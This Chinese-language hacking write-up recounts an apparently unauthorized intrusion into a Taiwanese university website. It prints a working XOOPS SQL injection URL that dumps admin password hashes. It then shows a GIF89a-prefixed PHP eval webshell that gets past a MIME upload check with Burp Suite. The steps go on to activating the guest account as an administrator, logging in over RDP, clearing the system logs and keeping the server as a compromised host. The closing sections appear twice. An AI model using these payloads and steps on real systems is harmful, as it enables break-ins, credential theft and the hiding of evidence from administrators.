一.前言
最近学习对国外网站的渗透分析,找到一个台湾某某大学的分站对其进行了渗透,在渗透过程总体思路:分析整站漏洞->上传webshell->提权,貌似一切都是那么自然,却有几个小波折。本文重点不在于该整站的漏洞分析,而在于上传webshell中的思路。
二.XOOPS的SQL注入利用
打开目标网站,在网站底部找到如下版权信息,如图01:
既然是整站,先下载分析下,直接通过后面的XOOPS Project下载,马上本地安装测试,很快在文件modules/articles/article.php下找到id变量没有进行过滤导致了SQL注 入产生,打开mysql数据库分析该系统的结构构造如下SQL语句:
http://target/xoops/modules/articles/article.php?id=82%20union%20all%20select%201,2,3,4,pass,6,uname,8,9,10,11,12,13,14,15,16,17,18,19,20/**/from xoops_users where uid=1 --
得到如下结果,管理员名称和密码的MD5散列,如图02:
第一反应解开MD5密码,可是当我在线解密发现几个MD5在线解密的网站都可以解开,但是都是收费的,没办法咱们是穷人,没VIP。好了换个思路,继续通 过SQL进行查看信息。将上面的SQL语句中pass字段和uname字段替换成@@datadir和user(),显示如图03:
看到什么了?从该路径信息可以得出两个结论
(1) 服务器的php系统是通过xampp环境包安装的(xamp存在一些安全问题)
(2) 服务器使用的是window系统,尝试连接3389发现是window2003系统
马上下载xampp本地安装了解其目录结构,安装过程中发现web默认目录可以修改,不过默认的phpmyadmin目录不会修改,思路有了,马上访问 http://target/phpmyadmin,正常访问提示要登录。密码没有破解出来不然可以尝试下是否和后台密码一致。还有一个思路,通过 phpmyadmin爆物理路径,访问路径
1 http://target/phpmyadmin/themes/darkblue_orange/layout.inc.php
返回如图04:
返回的是phpmyadmin的物理路径,还是无法确定默认路径是否修改。没办法,想想看看能否破解MD5,大半夜的没人在线了。只好换个思路,顺便也跟 大家说一个解MD5的方法。将得到MD5直接输入google搜索,这次还真让我搜索到了,在国外的黑客网站上找到了有人已经破解的。另外一个国外 HASH网站http://opencrack.hashkiller.com/,经常能够在上面找到那些MD5在线破解网站无法破解的密码,即使破解不 出来你提交后几天再去查询可能已经破解了。当然你可以先到几个常用的MD5在线解密网站分别都查找一下。得到了密码,可是等拿到了服务器权限猜想起来要试 试phpmyadmin的密码是否和管理员的密码一致,结果还真一样,不过也好,不然不会有下面后台上传拿shell的思考了。虽然曲折但是学到不少,开 阔了思路。
三. 艰难的后台拿shell
拿到后台密码登录,打开如图05:
试试上传一个一句话的php文件,返回如图06:
通过这个提示得到一个结论,该上传系统采用检测文件的MIME文件类型,只能上传图片格式的文件,这个好办,将文件内容改成如下代码:
1 Gif89a<?php eval($_POST[“cmd”]);?> // 这个就是MIME文件头欺骗原理
将它保存成php.php,重复上面上传操作,提示成功了,得意了一下。接下来找上传的地址,如图07,08:
高兴的访问了一下,短暂的得意转入困惑了,如图09:
虽然是显示图片,我们还是用php客户端连接一下,发现失败了,不管选择什么功能都是显示这个图片结果,说明php没有正常解析给忽略了。后面通过NC抓包上传了几次都失败了。不知道什么原因,暂且阁下。清醒了一下头脑,整理下这个上传过程如下:
(1)选择图片上传
(2)判断上传文件的MIME类型,是图片格式就通过
(3)上传的php文件绕过MIME类型却包含图片文件头无法正常解析php代码
分析了这个过程,唯一的解决办法,在通过MIME类型检测后将文件中的gif89a文字头去掉即可正常解析php。换句话说能够控制IE的这个上传过程即可正常上传php文件并且正常解析,所以NC在上传就失败了,很晚就睡觉了去了。
一早醒来跟朋友Lotus说这个要求,他丢给我一个工具burpsuite_v1.3.03,说可以拦截IE的上传过程。了解了一下工具的使用,这里给大 家详细说下,工具由java编写,必须安装jre-6u22-windows-i586.exe运行环境(工具和java运行支持已经打包),然后运行 burpsuite_v1.3.03.jar,打开工具如图10:
从工具界面得知今天使用只是其中一个功能,其他功能留给大家自己研究。在本次上传漏洞过程中利用其拦截IE上传过程修改上传数据包的内容。工具必须工作在代理模式下,默认是8080端口,所以首先要设置IE的本地端口代理
代理设置完成可以进行拦截了,设置burpsuite_v1.3.03工具的代理功能为开启状态,如上图10,保持带gif89a文件头的php一句话文件以绕过对MIME类型检测,开始上传
删除上传数据包中的文件内容中的gif89a后点击按钮forward即可正常上传,提示成功了。查找上传文件地址,用php一句话客户端连接成功了,直接上传一个php大马。
四. 轻松提权
进入webshell,发现cmd正常使用,为了不引起管理员的注意,我们直接激活guest用户并且加入管理员组。Ok,连接3389成功,如图13:
没有想到这么轻松直接得到3389权限。清理系统日志,擦完pp走人。当然你还可以有更多的想法来保住你的肉鸡。
五. 总结
本次渗透分析虽然在其中有几个小问题比较难以解决,根据经验最终得已解决。总结一句:渗透需要的往往是思路,集思广益,日积月累,我们菜鸟也会进化成老鸟的。
从工具界面得知今天使用只是其中一个功能,其他功能留给大家自己研究。在本次上传漏洞过程中利用其拦截IE上传过程修改上传数据包的内容。工具必须工作在代理模式下,默认是8080端口,所以首先要设置IE的本地端口代理
代理设置完成可以进行拦截了,设置burpsuite_v1.3.03工具的代理功能为开启状态,如上图10,保持带gif89a文件头的php一句话文件以绕过对MIME类型检测,开始上传
删除上传数据包中的文件内容中的gif89a后点击按钮forward即可正常上传,提示成功了。查找上传文件地址,用php一句话客户端连接成功了,直接上传一个php大马。
四. 轻松提权
进入webshell,发现cmd正常使用,为了不引起管理员的注意,我们直接激活guest用户并且加入管理员组。Ok,连接3389成功,如图13:
没有想到这么轻松直接得到3389权限。清理系统日志,擦完pp走人。当然你还可以有更多的想法来保住你的肉鸡。
五. 总结
本次渗透分析虽然在其中有几个小问题比较难以解决,根据经验最终得已解决。总结一句:渗透需要的往往是思路,集思广益,日积月累,我们菜鸟也会进化成老鸟的。